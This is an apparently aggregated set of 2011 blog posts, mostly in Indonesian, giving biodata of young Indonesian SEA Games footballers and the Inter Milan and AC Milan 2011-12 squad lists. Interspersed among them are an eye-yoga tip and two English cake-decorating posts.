Tempat/Tanggal lahir: Nabire, 27 Juni 1988
Tinggi Badan: 174 Cm
Posisi: Striker
Klub: Persidafon

Perjalanan Karir

Karier:PS Hasrat Abadi Nabire, Sumber Mas FC Nabire, PS Unipa, Persewon Wondama, PON Papua Barat, Perseman Manokwari, Persidafon.

Demikian sedikit informasi mengenai Profil Patrich Wanggai, pemain muda Indonesia yang ikut membela Timnas Indonesia di SEA Games 2011.
Selain memberikan Profil Patrick Wanggai, kami juga menyajikan Profil dan Biodata pemain sepakbola ternama lainnya yaitu dari Profil Lengkap Ramdani Lestaluhu.

Garden Party Cake: The Knot - Winter 2011

The new Winter issue of The Knot magazine is now on stands.  Check out the cake we made for it.  If this design seems familiar it's because we originally made this cake in red/yellow/pink hues (last picture).  I love how the same cake can be fitted to any occasion just by changing the color palette!

Tuesday, November 15, 2011

Yoga Untuk Mata Lelah Akibat Komputer

Setelah jamannya body language dan tae-bo, kini giliran yoga yang banyak diminati. Olahraga yang aslinya berasal dari India ini memang tengah menjadi tren.



Apalagi karena yoga juga disebut-sebut sebagai ‘pengendali’ stres. Tak heran bila banyak penduduk kota kosmopolitan ini yang tertarik.

Kata yoga berasal dari bahasa Sansekerta, yang artinya penyatuan tubuh, pikiran dan pernafasan. Inti latihannya memang lebih menekankan pada stretching dan pernapasan. Hasilnya? Mereka yang telah melakukan yoga mengakui tubuh mereka menjadi lebih lentur, ditambah pikiran menjadi tambah jernih dan tenang.

Yang menarik, ternyata yoga juga memiliki latihan khusus untuk mata lelah akibat banyak menghabiskan waktu berjam-jam di depan komputer. Mata lelah ini diakui para ahli bisa mengganggu penglihatan. Tapi gejala yang disebut computer-vision syndrome ini bisa diatasi dengan latihan yoga untuk mata. Begini caranya.

Ambil posisi tegak sambil bersandar pada kursi kedipkan mata dengan cepat sebanyak 50 kali. Lakukanlah setiap jam, dan usahakan kedipan Anda meningkat menjadi 100 kali. Akhiri latihan dengan menutup mata, sambil tarik nafas dalam-dalam sampai otot-otot.

Bagaimana, cukup mudah? Anda paling tidak hanya membutuhkan 5 menit untuk melakukannya. Setelah itu…siap kembali bekerja dan mata Anda pun tetap terjaga kesehatan dan kecantikannya. Selamat mencoba!



Sunday, November 13, 2011

Profil Lengkap Ramdani Lestaluhu

Profil Tim dan Biodata Pemain kali ini, masih menyajikan Profil Pemain muda timnas Indonesia yang ikut membela Timnas Garuda di SEA Games 2011, yaitu Ramdani Lestaluhu. Para Jak Mania pasti sudah mengenal nama pemain kesayangan mereka yaitu Ramdani Lestaluhu. Pemain yang berposisi sebagai gelandang ini, dipilih Rahmat Darmawan untuk membela Tim Garuda Muda untuk berlaga diajang SEA Games 2011. Pemain yang memiliki nama lengkap Rizki Ramdani Lestaluhu ini, lahir di Tulehu pada tanggal 11 Mei 1991. Bagi kamu yang ingin mengetahui Profil Ramdani Lestaluhu, Biografi, dan Perjalanan Karir dari Gelandang yang bertinggi badan 169cm ini. Berikut Profile dan Biography dari Ramdani Lestaluhu.


Profil Dan Biodata Lengkap Ramdani Lestaluhu

Nama Lengkap : Rizki Ramdani Lestaluhu
Tempat Lahir : Tulehu
Tanggal Lahir : 11-05-1991
Kebangsaan : Indonesia
Posisi : Gelandang
Bermain di Klub : Persija

Perjalanan Karir Ramdhani Lestaluhu

Saat ini menjadi idola baru Macan Kemayoran Persija Jakarta, Ramdhani juga pernah mencicipi kostum timnas Indonesia U-17 dan U-19.

Demikian sedikit informasi mengenai Profil Ramdani Lestaluhu, pemain muda Persija Jakarta yang ikut membela Timnas Indonesia di SEA Games 2011.
Selain memberikan Profil lengkap Ramdani Lestaluhu, kami juga menyajikan Profil dan Biodata pemain sepakbola lainnya yaitu dari Andik Vermansyah Biodata Lengkap.

Andik Vermansyah Biodata Lengkap

Profil Tim dan Biodata Pemain kali ini, masih menyajikan Profil Pemain muda timnas Indonesia yang ikut membela Timnas Garuda di SEA Games 2011, yaitu Andik Vermansyah. Bagi masyarakat Surabaya khususnya Bonek Mania pasti sudah tahu nama Andik Vermansyah, yang merupakan pemain muda kebanggaan Klub Persebaya tersebut. Andik Vermansyah adalah pemain yang berposisi sebagai Gelandang, meski tubuhnya terbilang kecil namun ia memiliki kecepatan, dan Skill diatas rata-rata, yang membuat dirinya selalu menjadi momok menakutkan bagi bek lawan. Pelatih Timnas Indonesia U-23 Rahmat Darmawan memasukan namanya dalam Skuad Merah Putih di SEA Games 2011, karena penampilan konsistennya bersama Klub Surabaya 45. Andik Vermansyah lahir di Jember, tanggal 23 November 1991. Bagi kamu yang penasaran ingin mengetahui Profil Andik Vermansyah, Biografi, dan Perjalanan Karir dari pemain yang bertinggi badan 162cm ini. Berikut Profile dan Biography dari Andik Vermansayah.


Profil Dan Biodata Lengkap Andik Vermansyah

Nama Lengkap : Andik Vermansyah
Tempat Lahir : Jember
Tanggal Lahir : 23-11-1991
Kebangsaan : Indonesia
Posisi : Gelandang
Bermain di Klub : Persebaya

Prestasi :

- 2008 Perunggu POM ASEAN (Timnas Mahasiswa)
- 2008 Emas PON XVII Kaltim (Jatim)
- 2007 Emas Porprov I (Kota Surabaya)
- 2007 Juara Liga Remaja Regional Jatim (Persebaya U-18

Demikian sekilas mengenai Biodata dari Andik Vermansyah, pemain Surabaya 45 yang ikut membela Timnas Indonesia U-23, di SEA Games 2011.
Selain memberikan Biodata Lengkap Andik Vermansyah, kami juga menyajikan Profil dan Biodata Pemain sepakbola lainnya yaitu dari Biodata Lengkap Titus Bonai.

Saturday, November 12, 2011

Biodata Lengkap Titus Bonai

Profil Tim dan Biodata Pemain kali ini akan menyajikan Profil Pemain muda Timnas Indonesia asal Papua yaitu Titus Bonai (Tibo). Titus Bonai atau yang lebih akrab disapa "Tibo" ini, adalah pemain yang berposisi sebagai peneyerang. Diumurnya yang masih muda, pemuda Papua ini menunjukan kelasnya sebagai Calon pemain bintang masa depan Timnas Indonesia. Memiliki kecepatan, Insting mencetak gol yang bagus, dan Skill individu diatas rata-rata, membuat Pelatih Timnas Indonesia U23 Rahmat Darmawan menunjuk Titus Bonai, untuk masuk Skuad Timnas Garuda untuk berlaga di SEA Games 2011. Pemain yang memiliki nama lengkap Titus Jhon Londouw Bonai ini, lahir di Jayapura Papua tanggal 4 Maret 1989. Bagi kamu yang ingin mengetahui Profil Titus Bonai, Biografi, dan Perjalan Karir penyerang 22 tahun asal Papua ini. Langsung saja kita simak Profil dari Titus Bonai.


Profil Dan Biodata Lengkap Titus Bonai "Tibo"

Nama Lengkap : Titus Jhon Londouw Bonai
Tempat Lahir : Jayapura Papua
Tanggal Lahir : 4 Maret 1989
Kebangsaan : Indonesia
Posisi : Striker
Bermain di Klub : Persipura

Profil Pemain


Titus Bonai atau lebih akrabnya dipanggil dengan sebutan Tibo adalah striker muda masa depan Indonesia. Bonai disebut-sebut sebagai titisan Boaz Salossa yang juga berasal dari tanah Papua. Tibo yang mengidolakan Barcelona ini menyukai peran sebagai penyerang lubang, hal ini sesuai dengan skill dan daya jelajah tinggi yang dimilikinya.

Tibo mengawali kariernya bersama Persipura Jayapura U-21 pada tahun 2008. Berkat penampilan ciamiknya, Tibo muda dipanggil memperkuat tim PON Papua.

Di level klub Tibo sempat memperkuat Bontang FC dan Persiram Raja Ampat, sebelum akhirnya ditarik kembali bermain untuk Persipura Jayapura. Bersama Persiram Raja Ampat, Titus sempat menjadi pencetak gol terbanyak dalam kompetisi Divisi Utama.

Perjalanan Karir


Djarum ISL 2010 - Persipura
Playoff ISL 2009 - Persiram
Piala Indonesia 2010 - Persiram
Liga Joss Indonesia 2009 - Persiram
U-21 ISL 2008 - Persipura U-21
Djarum ISL 2008 - Bontang FC
2008-2009 - PKT Bontang
2008 - Persipura U-21
Persipura U-23

Demikian sekilas mengenai Profil dari Titus Bonai, pemain muda asal Papua yang ikut membela Timnas Indonesia U-23 yang berlaga di SEA Games 2011.
Selain memberikan Biodata Titus Bonai, kami juga menyajikan Profil dan Biodata pemain sepakbola ternama lainnya yaitu dari Adam Johnson Biografi Lengkap.

Friday, November 4, 2011

More Eiffel Tower Cake!

A couple months ago we made a small Eiffel tower cake for a 16th birthday.  This time around we made the same cake...only much larger!  This 80th birthday cake barely fit in the trunk of the delivery vehicle as it was almost 4 feet tall and weighed...well, a lot :)  This was such a sweet cake to make because three sisters collaborated to get this for their mother's big bash in NYC.  When you turn 80, you definately deserve a cake this big!

Here's a look back at the other one. This one was only about 14" tall, but still so cute!

Wednesday, November 2, 2011

Skuad Inter Milan Musim 2011-2012

Profil Tim dan Biodata Pemain kali ini akan menyajikan Skuad Tim asal Kota Milan yaitu Inter Milan. Inter Milan, merupakan salah satu Tim besar Liga Italia dengan Prestasi yang bagus di Liga Domestik dan Kancah Eropa. Skuad Inter musim ini, tidak jauh berbeda dengan Skuad musim lalu, hanya bertambah beberapa pemain baru seperti Diego Forlan yang didatangkan dari Atletico Madrid, dan Mauro Zarate yang didatangkan dari Lazio. Musim ini, anak asuhan Claudio Ranieri memulai Start yang kurang bagus dengan menelan 5 kali kekalahan yang membuat Inter berada diperingkat 17 klasmeen sementara Liga Italia hingga Giornta ke 9. Bagi kamu penggemar berat Inter Milan, ingin mengetahui Skuad Inter Milan Musim 2011-2012. Berikut Skuad lengkap dari Klub yang merupakan Klub sekota AC Milan ini.


Skuad Lengkap Inter Milan Musim 2011-2012



Kiper :

1 Julio César
12 Luca Castellazzi
21 Paolo Orlandoni
33 Emiliano Viviano

Bek :

2 Iván Ramiro Córdoba
4 Javier Adelmar Zanetti
6 Lucio
13 Maicon
16 Luca Caldirola
23 Andrea Ranocchia
25 Walter Adrian Samuel
26 Cristian Chivu
37 Marco Faraoni
42 Jonathan
44 Matteo Bianchetti
55 Yuto Nagatomo
95 Marek Kysela

Gelandang :


5 Dejan Stankovic
8 Thiago Motta
10 Wesley Sneijder
11 Ricardo Gabriel Álvarez
18 Andrea Poli
19 Esteban Matias Cambiasso
20 Obi
48 Lorenzo Crisetig
77 Sulley Ali Muntari
93 Daniel Bessa
94 Andrea Romanò

Striker :

7 Giampaolo Pazzini
9 Diego Forlan Corazo
22 Diego Alberto Milito
28 Mauro Matías Zárate
29 Coutinho
30 Luc Castaignos
96 Giovanni Terrani

Pelatih :
- Claudio Ranieri

Demikian sekilas mengenai Skuad Lengkap Inter Milan, yang merupakan Klub besar Liga Italia.
Selain memberikan Skuad Lengkap Inter, kami juga menyajikan Skuad Tim lainnya yaitu dari Skuad Lengkap AC Milan Musim 2011-2012.

Tuesday, November 1, 2011

Skuad Lengkap AC Milan Musim 2011-2012

Profil Tim dan Biodata Pemain kali ini akan menyajikan Skuad Tim Liga Italia yaitu AC Milan. AC Milan, para penggila bola pasti sudah tahu Klub yang satu ini, Klub yang berjuluk Rosonerri ini, merupakan salah satu Klub terbaik di Dunia saat ini. Musim ini, AC Milan muncul dengan beberapa nama baru dalam skuad mereka, sebut saja Antonio Nocerino, Philippe Mexes, dan pemain tengah yang baru saja dipinjam dari Liverpool yaitu Alberto Aquilani. Dengan skuad yang dimiliki Milan saat ini, menjadikan Tim sekota Inter Milan ini, salah satu kandidat peraih Scudetto musim ini. Bagi kamu penggemar dari AC Milan, ingin mengetahui Skuad AC Milan Musim 2011-2012. Berikut kami sajikan Skuad Lengkap dari Klub yang bermarkas di Stadion San Siro ini.


Skuad Lengkap AC Milan Musim 2011-2012


Kiper :


1 Marco Amelia
30 Flavio Roma
32 Christian Abbiati
51 Riccardo Piscitelli

Bek :

2 Taye Taiwo
5 Philippe Mexes
13 Alessandro Nesta
19 Gianluca Zambrotta
20 Ignazio Abate
25 Daniele Bonera
33 Thiago Silva
52 Mattia De Sciglio
76 Mario Alberto Yepes
77 Luca Antonini
- Ricardo Ferreira

Gelandang :

4 Mark van Bommel
8 Gennaro Ivan Gattuso
10 Clarence Seedorf
16 Mathieu Flamini
18 Alberto Aquilani
22 Antonio Nocerino
23 Massimo Ambrosini
27 Kevin-Prince Boateng
28 Urby Emanuelson
57 Mattia Valoti
- Carmona

Striker :


7 Alexandre Rodrigues da Silva (Pato)
9 Filippo Inzaghi
11 Zlatan Ibrahimovic
56 Simone Andrea Ganz
70 Robinho
92 Stephan El Shaarawy
99 Antonio Cassano

Pelatih :

- Massimiliano Allegri

Demikian sekilas mengenai Skuad Lengkap AC Milan Musim 2011-2012, yang merupakan Rival sekota Inter Milan.
Selain memberikan Skuad Lengkap AC Milan, kami juga menyajikan Skuad Lengkap Manchester City.
Related Posts Plugin for WordPress, Blogger...